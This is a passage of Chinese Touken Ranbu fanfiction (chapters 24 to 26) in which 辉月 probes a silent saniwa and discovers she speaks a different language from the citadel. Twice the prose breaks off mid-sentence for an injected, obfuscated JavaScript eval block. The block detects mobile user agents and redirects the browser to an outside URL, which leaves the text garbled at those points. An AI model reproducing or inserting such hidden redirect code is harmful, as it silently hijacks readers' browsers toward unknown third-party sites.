那双眼睛愈发模糊,像是飘荡着、笼罩着朝阳初升前泛起的朦胧晨雾,雾越来越浓天越来越灰暗,他找不到那扇窗了。
究竟发生了什么?
他在本丸奔走,问了一个又一个人,没有得到答案。
一切都很正常,出阵演练远征内番。本丸所有的事物经由他的安排全部有条不紊地进行着,并非总是顺利,但一切问题都会被他们商量着解决,任何烦恼传不到主人眼前。
主人把本丸的所有事情都交给他,他嘴上向安定抱怨,事情真的很多诶,又要辛苦一天了,却被安定轻易戳穿,主人信任你,晚上偷着乐吧。
当然了,一开始会担心自己是否能做好,会不会把本丸管得一团乱,会不会最后还要让主人收拾摊子。但每次路过天守阁,透过永远开着的窗望见主人静坐的身影,想到这些本是会经过她的手的事情,如今都在自己手中。被主人所需要着的感觉如此强烈,恍惚生出了主人离不开自己的错觉。
究竟是现实还是错觉?他不知道,但那很让人着迷。
可是他已经尽力做得很好了,为什么主人关了门还要关上窗,为什么不再对着他笑着点头,为什么如庭院里的树一样,永远不开花。
那是选择他当初始刀的主人,那是初见时喜欢着他的主人,那是会在看到他们的伤时短暂地流露出与平日不同情绪,会在每次手入时如此专注的主人。他想像藤四郎们等候树木开花一样守候她。
作为一把合格的初始刀,作为最熟悉本丸的人,他应该帮助初来的辉月融入本丸,比如学着留下不影响挥刀的伤口,在出阵服上留下形状好看的血迹,比如怎样能让主人看见他们的时候感到心疼,怎样以手入为借口在主人身边多呆一会。
但是,天下五剑中最美的一把,也需要这么做吗?
稀有、美丽又强大的刀剑,也需要这么做吗?
他其实并不是完全了解他的主人,他其实完全不知道她在想些什么。这个残酷的真相,在此刻赤裸裸地坦露在他面前,他在辉月身边,想要说些什么却又无力开口,嘴角如同被风硬扯起来的风筝,飘扬两秒又掉下去了。
所幸安定打断了他不断下沉的思绪。
他回过神来,不太自然地对辉月说,“第一次出阵感觉怎么样?”
辉月说,“嗯,大家都很厉害,学习到了很多呢。”
她顿了一下,以为清光依然在为她的受伤而自责,于是安抚道,“伤不严重的,加州也检查过了不是吗,可以放心了。”
清光稍稍撇过头,略显回避态度,“啊,嗯。”
“好啦清光,不要老妈子一样了,大家都是这么过来的,现在不都好好的。走吧,出阵的时候指甲油都糊掉了吧,我来帮你重新涂。”安定朝辉月挥了挥手,把清光推着走开了。
转眼间出阵回来的空地上只留下了辉月一个人,正是去见审神者的好时机。
按照记忆里第一次来这里清光带她走的路线走着,稀里糊涂地绕着部屋迷失了两圈之后,辉月终于一边回忆一边遗忘地摸索到了天守阁。
轻敲门扉,静等片刻,果然没有回应,于是她推门而入。
24.血色沉默5
一进门便对上审神者冰冷剔透的眼睛。她显然早已听见敲门声,才会望向门口,用清透的眼静候着辉月的身影。敲门声听得清清楚楚,却没有给出任何反应,就跟上一次清光带她初入天守阁时一样,她是故意的。
故意不给出任何反应,故意作那一副高冷模样,就好像一切尽在掌控,所以只需静坐看小丑跳梁。
是这样吗?
现在不是揣测她心思的时候,这一次主动前来,辉月心怀审视的态度,势要找到对方的破绽。她会认真扫视她的全貌,一寸寸刻录她的神态、动作,抓住每一个细节,循着任何一点蛛丝马迹摸到她的心灵深处。到底要对刀剑们做什么,到底心里想要什么,她会找到答案。
心里的想法埋在优雅的面容之下,旁人看来辉月只是推开门朝审神者微微俯身,然后悠然走了进来,微提衣摆在审神者面前坐下。
审神者还是坐在那扇窗下,和上次见到她时一模一样,仿佛精美的冰雕,无法挪动位置,也不会改变姿势,让人怀疑她是否从来没有站起来过。
上一次前来天守阁,辉月只是在一旁看着清光和审神者互动,直到这一次走到审神者面前,她才终于透过那双常开的窗得知平日里审神者都在看些什么。
窗外之景其实没有什么特殊的,粗略看去尽是绿树与草,唯一值得称道的是窗下摆着一排花坛,里面几丛娇嫩的鲜花在自由生长。石头做的花坛有着玉一样的白,和整座庭院的风格完全不同,联想到这里的付丧神似乎有送花给审神者的传统,便能猜到把花坛买了搬到这来大概是不知道哪位刀剑的奇思妙想。
花坛往外有一条石子小道,真是稀罕,这藏在天守阁后边的小路竟也保留了石子本来的颜色,而没有被血色浸染。仔细看隐约可见两三点零星的暗红色小点,那是时不时有刀剑“偶然”路过的证明。
辉月大抵知道他们是怎么想的,身上染血留伤是为了有理由让审神者心疼,但审神者和刀剑可不一样,她所身处的、目力所及的环境没有必要那么血腥,不能让她身上也满是血的味道。
不过刀剑们应当没有在这个位置、以审神者的视角向外看去,不然他们就会发现远处能隐约看见红色的亭廊,还有几个红色的付丧神在晃荡。
也正常,真正的付丧神若是站在这,也不会往外看。主人正在面前,还想什么窗。
在辉月面朝窗外的时候,审神者依然安静地坐着。她不好奇这把新来的刀剑为什么突然前来,又为什么来了之后注意力竟跑到了那扇窗上,似乎也一点不担心佩戴刀剑的辉月会对她做什么。
难道她真的感觉不到,辉月对她的态度和其他刀剑付丧神不同吗?
在其他刀剑面前辉月尚会掩饰,而在这只有两个人的当下,辉月没有摆出正常刀剑面对主人的亲近或恭敬的姿态,甚至没有开口叫一声主人。从窗外收回目光后,她挺直背脊坐在审神者面前,平视着那个女人,就好像她们是平起平坐的同僚。
那双眉眼分明犹如山水画的脸上,什么也看不出来,没有笔法,全是留白。
相比感觉不到正常付丧神和她之间的差异,辉月更倾向于,她对此无所谓。
那双眼睛停驻在辉月的脸上,然后便像电子屏幕里的鼠标一样冰冷地移动。通过那双眼睛,你能清楚地意识到,她没有什么想说的,也不期待对面的谁说什么话。她像是一个草捏的空心人偶,且把对面的人也当一个假人。
目中无人,真是一个高冷又傲慢的女人。
她不言不语也不动,没关系,辉月会采取行动打破僵局。
她牢记自己来到这里面见审神者是为了试探什么。
从容地将本体刀平放在腿上,她刻意没有学习着摆出俯首的姿态,依然腰背挺拔,一边暗中观察着对面女人面容身体上的任何变化,一边平静地请审神者为自己提供治疗。既然语气再平和,笑容再优美,这幅模样也堪称冒犯了。
可审神者只是看着她,什么也没做。既不愤怒,也不动手手入。
一时之间,空气尴尬地凝固下来。
就算是辉月此刻也感到迷惑了。
只有那个时候审神者才会有所波动,她终于明白清光说的话。
她的脑海里浮现出第一次来天守阁时的场景,回想起那时清光的姿态与声音。或许这个女人就是喜欢那样的。
只有跪在她的面前,弯下脊骨低下头,像翩然起舞的美人侧身回首挑起面纱一角,微微抬眼先露出一双亮晶晶的眼睛,再展现白雪似的下巴;只有鲜艳的血染红衣裳,衣衫破碎,伤口与肌肤一同坦露。只有这样,她冰封的心才会有所波动,才会由内而外地流露出活人的气息,才会做一个审神者该做的事情。
是这样吗?
辉月拂过本体刀上的划痕,每一道或深或浅都对应着身上的伤口,审神者的目光随她的动作落在刀上。
或许是因为辉月本身是人,终究不是刀剑里生出的付丧神,这把刀并没有因为与她融合而发生任何改变,就是三日月宗近本身的模样。
美丽的刀身上,划痕是如此显眼。
完整的美固然可叹,但残缺的美更显动人。
像是被刀光吸引一般,审神者慢慢抬起手落在刀剑上空,晶莹的光芒从她手掌中逸散而出,飘扬着落在刀身上,下一秒,划痕消失刀身重归平整。
这突如其来的让步,让辉月略感惊讶。她抬眼看她,又见那双无情的眼眸,恍然之间,她好像看到她笑了一下。昙花一般的笑容转瞬即逝,只被深夜的月亮收入眼中。
面前的女人确实不懂手入,不懂什么技法,更不会收敛着输出灵力,火烧一般的炙热伴随着隐隐的痛,在她身体里随血液流遍全身。因这热意,她全身都开始升温,对比之下,附在皮肤表面的空气是如此清凉。
但也因这亲身体会,她能理解清光为什么会坚持审神者很好了。灵力与灵魂挂钩,是一个人本质的最直白体现,接触灵力就能一下看透一个人。这位审神者的灵力虽与外表有着巨大的温差
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786452|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但当它进入辉月的身体,她没有感到任何一点会被伤害的可能。
好似冲完水直接跳进了高温温泉,皮肤仿佛被烫得变薄变红,血液在叫嚣着于血管里狂奔。但温泉和火锅到底不一样,你不会被扒皮抽骨,去血切片,丢进沸水,作为猎物、作为食物翻滚着熟透。在身体滚烫之后,随之而来的是穿透骨肉的舒适自在,皮肤舒展,肌肉放松。
经过手入之后,辉月不得不承认审神者除了技术不行,其他毫无问题。
身上的伤已经全部好透,连精神都焕然一新,就好像疲劳值从100拉到0,手入结束她顿觉一身轻松,大脑都更清醒几分。她甚至产生了审神者给多了的念头,治疗两道口子并不需要那么多灵力。
是的,灵力不会骗人,审神者没有问题。
辉月也很惊讶。
审神者没有问题,刀剑们没有问题。那到底是什么造成了血流成海,还没人觉得不对的血色本丸?
辉月尝试向审神者询问是否遇到了难处,可那女人在手入结束将本体还给辉月后,便像个NPC一样,又回到原位恢复了原本的姿势。
几缕微风溜进窗内,拂过她的发梢,似乎只有在这个时刻,你才能感觉到她的生命是流动着的。
刀剑付丧神们不觉得现状有什么问题,审神者又沉默不言,似乎已经无从下手去寻找答案。
辉月立于天守阁门外,又瞧见那曾被她按着后脖颈把毛搓白的小老虎。短刀五虎退的五只老虎伴生灵里,这一只似乎格外与她有缘,总能在本丸的某些角落里碰到它。
不等辉月招手,小老虎便晃晃悠悠地扑腾着小腿,朝她拱了过来,直到毛茸茸的脑袋一头撞在了她的脚脖子才停下。
“小东西~怎么又从你主人身边跑走了?”
辉月蹲下身摸猫一样轻轻挠它的下巴,直把它挠得往旁一倒去,圆滚滚的身体翻在地上,露出了棉花一样蓬松又柔软的白肚皮。
给它“按摩”了好一阵,分不清是小老虎更享受还是人更开心,辉月终于收了手,拍拍它的小脑袋说,“去吧,去你主人那里,别让退着急着找你。”
一步三回头,小老虎不舍地离开了。辉月也是时候动身了,她已经想到接下来该去找谁。
在每个本丸里,比初始刀都先接触到审神者的存在——狐之助。如果是它的话,一定知道更多的信息,更多辉月无法在短时间内打探出来的消息。
要想找到加州清光是一件很简单的事情。
毕竟是初始刀大人嘛(大和守安定口吻),没有审神者做主的情况下,本丸里事事都需要他多上心。
于是你能在本丸的任何角落看见他走过的身影,或许是刚从门口的邮箱取回来自时政的通知,或许是走过厨房给审神者带一碟下午茶点,又或许文书刚写到一半要找狐之助校对格式。
辉月在路边随便问一个人,都能听到“刚刚看到他了”的发言,于是就这么一路问一路找,她终于顺着言语的影踪找到了他。
25.血色沉默6
此时,加州清光正在大广间,将新鲜出炉的次日安排往墙上贴,等晚饭时间大家来大广间用餐时,便会围在这里看自己明日的任务。
手指将安排表的四角抚平,让其稳稳地贴合墙壁,余光看到她过来,清光问,“三日月,明天内番可以吗?”
“是什么番?”辉月从他身旁上前一步,边问边在安排表上找三日月的名字。
五个字的名字已经很长了,但在本丸里却并不显眼。先是看到了“鸣狐”,才紧跟着在旁边找到了“三日月宗近”。两个人的名字上方赫然写着……
“耕种,可以吗?”
耕种……好……是她和三日月宗近都做不来的活计。鸣狐,明天要辛苦你了。她暗自在心里对鸣狐说抱歉。
安排表被细致地粘贴平整,加州清光这才回头,正瞧见辉月身上的伤连同衣饰都因手入而恢复如初,“你去找主人了?”
“嗯,你们主人确实是个好人。”
原本关于审神者心思不正或有特殊嗜好的猜想被推翻,她说起这话时心情尚有些复杂。
清光没注意到,他一听到辉月话里的“你们”二字便变了脸,眼角下沉,不高兴地叉起腰来,“是我们的主人才对,要是被主人听到肯定会难过的。快改口啦!”
辉月捂嘴笑笑不解释,转而问他狐之助的位置。
“这个时候啊,狐之助不在天守阁吗?”清光问。
见辉月摇头,他沉思片刻说,“那应该在天守阁后面的庭院里和短刀们一起玩吧。”
辉月道了谢正准备走,又被清光叫住。穿着长风衣的打刀微眯着眼睛,双手抱胸似乎想要凸显出训斥的气势,可惜本就中性的声音里残存着浅浅的笑意,语调习惯性地荡漾着,一点也不唬人,“所以快改口啦~”
初始刀的责任感就不要用在这种地方了吧。
再三保证自己已经知道了,一定会改口的,辉月才好不容易从清光那里脱了身。啊当然,保证的都是骗人的。
兜兜转转又绕着部屋、顺着长廊找路找了好两圈,辉月跟着一串笑声追到了清光所说的庭院。
亭廊环顾的一片空地,或爽朗或清脆的笑声在此方回荡,只是听着就能想象他们玩得多么开心,连天都晴朗几分。
狐之助躺在几把短刀的围绕之下,肚皮朝天让人胡乱地摸,时不时左扭一下右扭一下小狗似的去蹭身旁的手。
性格活泼的短刀们聚在它身边,伸出快乐的手放纵着汲取毛茸茸的力量。
一旁,鸣狐安静地坐在不远处,顶着脖子上的狐狸看着他们闹腾。那狐狸也想加入进去,却被鸣狐按下,手顺着它的背脊摸到尾巴权当安抚。
“三日月殿。”鸣狐本人率先发现她的到来。
趁鸣狐的注意转移,狐狸终于找到机会,从那双按住它的手里逃脱,纵身一跃跳到了地上。
它的声音尖利,跟普通狐狸没什么两样,不大声嚷嚷也十分响亮,“呀呀,是三日月殿来了。大家都在玩耍放松呢,是天守阁有什么消息传来吗?”
她朝两位颔首,权当打了招呼,“看来狐之助很清闲,正好,我找它有些事情呢。”
狐狸代替鸣狐问道,“是什么事情呢,和主人有关吗?如果需要帮助的话,请务必和我们说。”
辉月摇了摇头说,“只是一些私人小事。”
狐狸和鸣狐对视一眼,鸣狐点头,于是狐狸高兴地嚷道,“我明白了三日月殿,这就把狐之助叫出来。”
说是“叫”出来,两只狐狸的互动倒也不算和谐友好。
鸣狐身上的那只狐狸肖想那众人撸的位置许久,如今有了名正言顺取而代之的机会,便一头冲进短刀的包围圈,直接将狐之助挤了出来。终于如愿躺下,被同时揉脑袋、摸肚子、梳尾巴,不消一会它就发出了幸福的呼噜声。
笑声渐渐淡去,辉月带着狐之助走出一段距离,到草木掩蔽之处停下。
狐之助还不知道自己要面对什么,只以为这位新来没多久的付丧神是要向它问一些审神者的喜好。
这是很常见的,也很好回答,这位审神者除了清净没什么明显的偏好,安排好一日三餐,收拾出适宜人类生存的环境,然后放她一个人在大广间就行。
如果想要和审神者多见几面、多一些接触,那直接向加州清光大人提出帮忙就行。每天去天守阁送通知或是送茶点的人不一样,多一些新鲜感,审神者心情想来也会好一点。
当然,还有更直接的方法,出阵,然后找审神者手入。
脸上挂着餍足的笑,饱受安抚的狐之助摇摇晃晃地跟在辉月后头,圆圆的脑袋里已经想好等会要说什么了。
等脚步停下,它挺起脑袋问把自己带来的人,“三日月大人是要问什么、呀~”
话还没说完,它终于看清了面前刀剑付丧神的长相,如此熟悉却又陌生。
熟悉的衣饰配色与通身气质,模样也没什么差别,只是……性别不对吧。
三日月宗近大人怎么变成这样了?!
在它抬头看见辉月全身的瞬间,话里的最后一个语气词被惊得差点飞到天上去,它扯着嗓子大声问道,“三、三日月大人,怎么会变……变样了?”
你小子,该不会想说怎么变性了吧。
辉月和善微笑,但微笑不完全和善,“这幅样子么,我也不太清楚,不过审神者说没有问题。”
这只狐之助显然没有这里的初始刀细致敏锐,完全没在意辉月对审神者的称呼,只是下意识地反驳说,“审神者大人才不会说话呢。”
闻言,辉月的笑意又虚假了三分,“什么叫,审神者不会说话?”
她慢慢悠悠地问,本该显得温柔,听在耳朵里却无端感到一阵压力。狐之助一下闭了嘴,眼珠子左撇右转,直到辉月面上的笑意快要消散才迟疑着开口,“没、没什么,三日月大人您听错了,我什么也没说。”
辉月笑,“撒谎隐瞒的坏孩子没有油豆腐吃哦。”
狐之助瞬间睁大了眼睛,满脸不可置信,连爪子都因为危机感而自动冒了出来。
不——油豆腐——
那可是狐之助的最爱,是不可失去的美味!
为了不失去一生挚爱,它立刻解释说,“其实也没什么啦,就是审神者好像不喜欢在人前说话呢。”
“不喜欢在人前说话?”辉月意味不明地重复了一遍。
是不喜欢在人前说话,不在人前说话,还是不能在人前说话?这是个好问题。
目前看来狐之助确实知道一些连初始刀也不知道的隐秘。于是她接着问,“所以审神者为什么不喜欢在人前说话?”
“这个我也不知道呢。只是初见审神者的时候还和她对话过,但进了本丸以后就不再开口了。偶尔会看见她在空无一人的房间自言自语,但声音很小听不清啦。”
狐之助摇了摇尾巴,就像人类摆了摆手,似乎在说我也没办法,“可能只是审神者大人的个性如此吧,大人们都说,人类是很有个性的生物哦。”
真是极具动物性的发言啊,辉月无奈垂眼,怎么想都不会是因为个性吧。
不过也是,在一个除了狐狸就只有刀剑的本丸,要在毫无沟通的情况下,让他们搞清楚其中唯一的人类是什么想法,也太为难他们了。种族间的沟壑啊,当下也只能以她为桥梁了。
她换了个方式再问,“审神者刚任职的时候发生过什么奇怪的事情吗?”
狐之助晃
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792521|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了晃脑袋,摇下来两根浮毛,“刚任职的时候吗,我想一想……”
它抓耳挠腮,它原地打滚,等随着动作掉的毛可以团成一团玩毛戳后,它终于跳了起来,再次挺起了头,“我想到了!和审神者大人签契约非常顺利,带她熟悉本丸、熟悉工作流程的过程也很顺利,如果一定要说的话……
我本来去那个时空是要找另一位大人签契约的,不知道怎么却把这位大人带过来了。因为这位大人灵力实在太丰沛了,想着付丧神大人们一定会喜欢的,干脆就将错就错了。”
辉月问,“莫名其妙被带过来,她居然就答应任职了吗?”
狐之助说,“是啊,大人一下就答应了呢。真是一个好人啊!”
辉月追问,“她是怎么说的?”
似乎又回想起那天,顺利完成了迎接并引导审神者签订契约的任务,从身体深处升起的光荣感让它不由自主地挺起小小胸膛,恍惚间成了个鼓鼓囊囊的气球。
从回忆中复苏的骄傲情绪影响了现在的它,狐之助激动地原地起跳,向左向右各跳了一下,活似一只完美接到飞盘的小狗,“她按手印了!我可是了解过的,在那个时空位面里按手印就是同意的意思。”
辉月沉默了片刻,似乎想到了什么,叹气一般地说道,“所以她没有开口说同意?”
她在“开口”二字上加重了声音。
一连串的提问,认真又隐隐强势的态度,还有这刻意的强调,狐之助心里泛起了不好的预感。方才的开心与激动像是细沙被大风刮走,转眼荡然无存。
难道三日月大人是在暗示什么吗?可是,一切明明都是按流程来的没有问题呀。
怀着逐渐从心底泛起的不安,狐之助就像机器卡顿一样,一字一顿地说,“应该是、是吧。”
没有开口说有什么问题吗?或许审神者就是不爱说话呢?
狐之助在时政接受培训的时候有向前辈学习交流过,人类是很多种多样的种族,人与人之间的差异有时比人和动物都大。
有人爱笑,有人爱哭,就有人面无表情比石头冷硬;有人话痨,有人社恐,就有人人前沉默人后嘀咕给自己听。
这位审神者大人虽然是跟从前辈们口中听到的人类不太一样,但是除了个体差异,狐之助想不出其他原因了。它本就不聪明的脑袋已经要被不解塞满了。
而辉月已经在对话间找到了问题的关键,也就是事情最诡异之处。
曾在任职第一天开口和狐之助交流过,独处时也时常会自言自语,这样一个语言功能没有障碍且曾表露过沟通意向的人,为什么在任职之后、在本丸的任何活物面前不发一言?
即使是最严重的社恐,也不可能一直不和人交流,何况付丧神那样主动地表达着对她的友善与依恋。
排除审神者本身存在沟通障碍,人会在什么情况下保持缄默?
本身内向的人,在课堂上被老师点名回答完全没有思路的问题;在受邀来到一场聚会派对却发现在场没有一个堪称认识的朋友;在异国他乡、人来人往的大道上来来回回走上三天三夜,耳朵里塞满了叽里咕噜,也碰不到一个同样发色肤色的老乡。
迷惘,陌生,毫无归属感,找不到答案与归路的时候,被紧张与不安环绕的时候,喉咙会给自己上锁,既是害怕说出不应当说出的话,也是因为知道说了和不说没什么两样。
狐之助说它和审神者在最初交流过一次,但它没说交流结果如何,没说审神者说了什么。辉月正准备向狐之助求证。只要得到这个答案,她就能解明真相,确定问题的解法。
然而就在此时,刚刚分别的加州清光找了过来。
“三日月,主人叫你过去。”清光如是说。
26.血色沉默7
“找我么?”
那个人居然会主动找自己,辉月倍感惊讶,而与审神者相处最久的清光比她更惊讶。
该说不愧是三日月宗近吗?总是坐在天守阁对谁也不搭理,就好像与世隔绝一样的审神者,居然主动传召她过去了,这可是初始刀也没有的待遇。
说心里不会酸溜溜,那是不可能的,他也想被主人主动找啊。
但是,一向封闭自我、从不开口的主人能主动踏出这第一步,即使橄榄枝没有抛给他,他还是为此高兴……好吧,还是好不甘心,这次是三日月,下次总会是他了吧,他可是很努力地可爱着。被主人挂念的感觉啊……
他悄悄咬了咬后槽牙,咽下吃了梅子一样的酸味。
“是啊,主人叫你过去。”他举起指尖捻着的纸片。
纸片不大,两指捻住正好。边缘凹凸不平,看材质像是天守阁里那张矮桌上文书的边角料。上面用笔勾勒出一弯月亮的轮廓,很简单的造型,但从笔迹上能看出画者落笔认真。
原来是这么“叫”的,这审神者还挺有创意。
辉月一收回目光,清光便将纸片收回,拢在了掌心,看着是要带回部屋收藏起来。放在人类社会似乎有些痴汉,但这里是刀剑乱舞,一下就显得正常多了。
了然地笑笑,她也不戳破,就看着清光在纸片出现那一刻忽然情绪好转,小猫一样微抬起头骄傲地说,“嘛,虽然是很简单的图案,但我一眼就明白了。和主人心意相通的那一刻,感觉在被爱着呢。”
难得见他显露出喜悦,或许是审神者突如其来的、与以往都不同的任务交付到他手上,让他再一次感受到了来自主人的爱与信任。
这是好事。看到刀剑付丧神高兴,她也会高兴。
“好像说多了,抱歉啊,刚刚的话就当没听见吧。”后知后觉意识到不该在新来的刀剑面前说这些,听起来简直是在炫耀,加州清光从沉浸的喜悦中清醒过来,略带歉意地说。
辉月又不是刀剑付丧神对审神者没什么感情,当然不会介意。就算在这里的是别的刀剑,也能理解他这份心情。
不过也正是因为没有刀剑对主人的特殊情感,辉月清醒地知道,审神者来叫自己不会是出于喜欢这类表面的原因。
这位审神者像是停住在高塔上的飞鸟,由木头雕刻而成,望向她的眼睛里全无惊艳,唯有空洞与孤寂。这场传唤与其说是对她的特殊待遇,不如说是被困者发出的呼救。
再次进入天守阁,辉月怀着不同的心情。之前即使并未认定审神者有失格行为,但因为特殊身份,因为本丸里显而易见的异常,她仍不免带着点审视的态度,而这次她只想读懂她沉默背后的隐秘。
而此时天守阁内的氛围也与先前两次截然不同,如同冷焰一般的炙热在酝酿着爆发,房间里的空气被带动着碰撞、撕裂,像是暴雨来临前的闷热又潮湿的夜,又如同大爆炸之前看不见的粒子正高速碰撞。
在身处其中的第一秒,辉月便敏锐地感觉到,这种氛围似乎只针对自己。
同行而来的加州清光完全是平时的状态,甚至因为又醋又高兴的心情而表现得别扭可爱。
他很好奇主人要和辉月讲些什么,在门口踌躇着想要跟进来,但没有主人的应允,又不好意思真挤进来。于是他背靠着门框,高跟靴在门口的地面磨蹭着,一会离门近一会又挪开,发出试探的轻响。
“主人~需要我在一旁陪侍吗?”
一个称呼喊得九曲十八弯,就差绕上屋梁晃晃悠悠一个晚上。
可惜对面是个没耳没舌的石头,媚眼抛给瞎子看了。
审神者没有像以往的每一日坐在窗前静望,而是难得端庄地坐在了那从未办公过的矮桌前,仿佛是怀着特殊的心情等待着辉月的到来。清光说话时,她的眼睛还勾在辉月身上,连眨都没眨一下。
辉月见状知道她是不会回清光了,于是委婉地对他说,“等一会可能要麻烦加州来收拾一下了。”
“好吧,那我一会再来。”那语调刚上盘山公路就坠崖了。高跟靴也不磨蹭了,哒哒两声干净利落的脆响,人走门关。
在清光走后,房间里只剩下两个人。审神者凝视着辉月,像是舞台上的聚光灯,平时灰暗着却在这一时刻聚焦在了辉月身上,先前所见冰块一样的剔透与清浅之中有什么东西逐渐明亮起来,而她的身体里好像也有生机与期待在复苏。
受到指引一般,辉月来到她的身前。
审神者找到她到底是要说什么呢?
一个无法沟通的人,在从她身上期待什么呢?
无论是什么,她会给出回应,或许这就是她来到这个本丸所要做的事情。
辉月回望她的眼睛,目睹那隐藏其后的空洞的心于此刻凝实起来。她一定有什么想对辉月说,不然不会露出这样的眼神,像是琥珀里渺小的蝴蝶突然继续生长,绚丽的翅羽终将通透的琥珀装满,再用力一点就要挣脱束缚展翅飞出。
她终于开口,无损的声带与口腔终于找到机会,如主人所愿派上用场。
“宝宝,你好漂亮啊。”
辉月:?
她忽然倾身凑近辉月,近到两人的眼瞳里留下彼此的身影。辉月清楚地从对面的黑眸中瞧见那深蓝中的一抹月色。
“你眼睛里是美瞳吗?我刚刚近看才发现有弯弯的月亮诶,好好看!”
辉月:??
她的声音堪称人不可貌相的典范,清甜得像个小姑娘,连说话的内容也甜得像蜜,和那高冷面相、冷酷气质之间堪称八杆子打不着的关系。
“头发是专门打理过吗?又长又顺滑,染得这么好看,还不伤发质,好羡慕啊。”
辉月大受震撼,无语凝噎。
如果这个审神者再大胆一点,直接扑上来握住辉月的手,她就会发现那指尖的颤抖比地震剧烈。
这一刻她的心情比加州清光从审神者那亲手得到任务,然而任务是去叫另一个刀剑付丧神来天守阁,还要复杂而波澜。
她该震惊这位审神者的冰壳下面居然如此少女吗?还是震撼她脱口而出的是自己的母语,与这座本丸所有活物的通用语大相径庭的,某蓝色星球上某东方大国的本土语。
该如何描述此刻辉月的心情呢。
大抵就是,在海之外的国度,一家随处可见的超市里,排着队付钱。突然手里的听装可乐一时没拿稳掉在了地上,顺势滚到了前面人的脚边。
那人回过头来,手臂刺着青,头上戴礼帽,仔细一瞧口袋里鼓起来的不是口香糖而是枪。你一个哆嗦以为自己就那么不巧遇到了当地□□。结果那光头大叔一开口,“我说哥们,小心一点sa。”分不清是哪个地方的口音,总之是最纯正的东方话,蹲地上给你把可乐拿起来了,不知轻重地拍肩把你拍一个踉跄,还意料之外地来一句,“哥们,喜欢喝可口可乐,太有品了。”
而此时此刻,辉月只想把一个经典表情包摔地上。
不是吧,哥们?
本丸的语言系统应该是跟着审神者走的啊,怎么你们搞特殊。怪不得审神者不说话,这完全是一个鸡同鸭讲,谁说话都听不懂的混乱现场啊。
这种情况坚持一个多月没被发现,最后还被转交到她的手上。果然,世界就是个巨大的草台班子。
那天夜晚下了雨,淅淅沥沥地,仿佛要将房间连同整个世界都浸湿了。
卷起被子缩进去,温暖环绕着她,阻隔了雨夜的冷与湿。下小雨的白天总是适合窝在被窝里犯懒,下小雨的夜晚同样适合提早入睡。
或许是窗外雨水坠落,断了线的珠子一样,弹跳着小奏一曲,窗上雨痕又伴着曲作了画。这给她的梦乡加入了一点细雨一样不甚清晰的幻想,那天晚上,她做了个很逼真的长梦。
一只大脑袋的狐狸,一座深山中的大门。甫一接触像是一个童话故事的开篇。
梦里不需要那么多考虑,她瞧见狐狸转身的那一刻便跟着不由自主地迈开腿,跟着跑了过去。
大门,木质,深棕色,是她推不动的厚度。门檐,雕梁画栋,是她看不懂的设计。
她走到门下,来不及叹为观止,那比她高不知多少的大门像是有所感应般自己敞开了。
复古材质与设计搭配自动开门装置,果然是梦啊。那就不必想这是谁的家,能不能进,梦里还有什么不能进的呢?
刚刚升起的警惕又烟消云散,她堪称兴致盎然地随着狐狸的脚印踏入了其中。
“嘭”的一声,庞大的木门在身后关闭,离开的路被永远阻隔在她视线之外,突然之间她心里空落落的,仿佛滚动在既定路线上的小球被一阵风吹出了轨道,它的未来就此改变。不安如同迷雾升腾而起,让她彷徨,让她犹豫,可就在她停下脚步的时候。
“kon kon——”
狐狸的叫声唤回了她,于是她不再看那扇大门。
门后是一处漂亮的庭院,是她喜欢的风格。她曾不止一次幻想过在郊区买一座带花园的小院,种漂亮的花,再养几只亲人的小猫小狗。那些想象中的画面,就跟眼前的如出一辙。
这些愿望暂未实现,不然也不会称之为幻想。然而此刻,梦境给了她提前体验幻想变现的邀请函,不可能不接下。
真好啊,空手拿下一座美丽大庭院,这个梦做得真美。此时她以为自己是爱丽丝,要开始梦游仙境了。
直到狐狸在她面前,用那毛茸茸的爪子操作着什么,虚空投影出五个帅哥的面容,她想,哦,无缝衔接上美男幻想录了,也不错!
虽然听不懂狐狸在叫什么,狐狸也听不懂她的话,这也正常,除了小说里,什么狐狸能和人对话。但看看帅哥也不错不是吗?
狐狸在原地转圈,张牙舞爪地叫唤,是她选一个吗?那就这个吧,红红的,涂着指甲,留着小辫儿,看起来怪可爱的,就他吧。
一阵光伴着漫天飞的花瓣飘散一地,那选的人竟凭空出现在身前,看起来比选择页面的模样还要好看几分。
真好啊,她暗喜,这个梦我能做十年。
可是为什么好好的帅哥出门一趟回来就满身血,哪里出现的刀又为什么要把沾着血的刀递给她,狐狸叽里呱啦围着她到底在说啥,本就听不懂的话语愈发遥远了,直让她一脖子汗还头大。
能不能、能不能不要转换到恐怖频道……她怕鬼还怕妖。
后来发生了什么她跟失忆了一样一点也记不清,只模糊地感觉到自己一路被狐狸推着走。大炉子里冒着热气,旁边堆着黑的白的一堆东西,身体里好像有什么在流动又被吸走,樱花莫名其妙地飞了出来,再清醒过来,眼前已经不止一个帅哥了。
从哪里来的?这是好事吗?她的脑子里一堆疑问。但至少有一件好事,那个一身血的红色帅哥变回原样了。
没有血没有伤,真是谢天谢地,她不敢想象如果眼前的几个帅哥都是这幅,和高校级地皮流氓在小巷大战三百回合的破败相,这个漂亮的庭院会变成什么样。
都说梦是没有逻辑的,梦里是没有时间的,果真这样。
一幅幅画面在她的面前闪过,这个庭院里不断地发生着她无法理解的事情,不知道过了几天,她一直没有醒来的迹象。
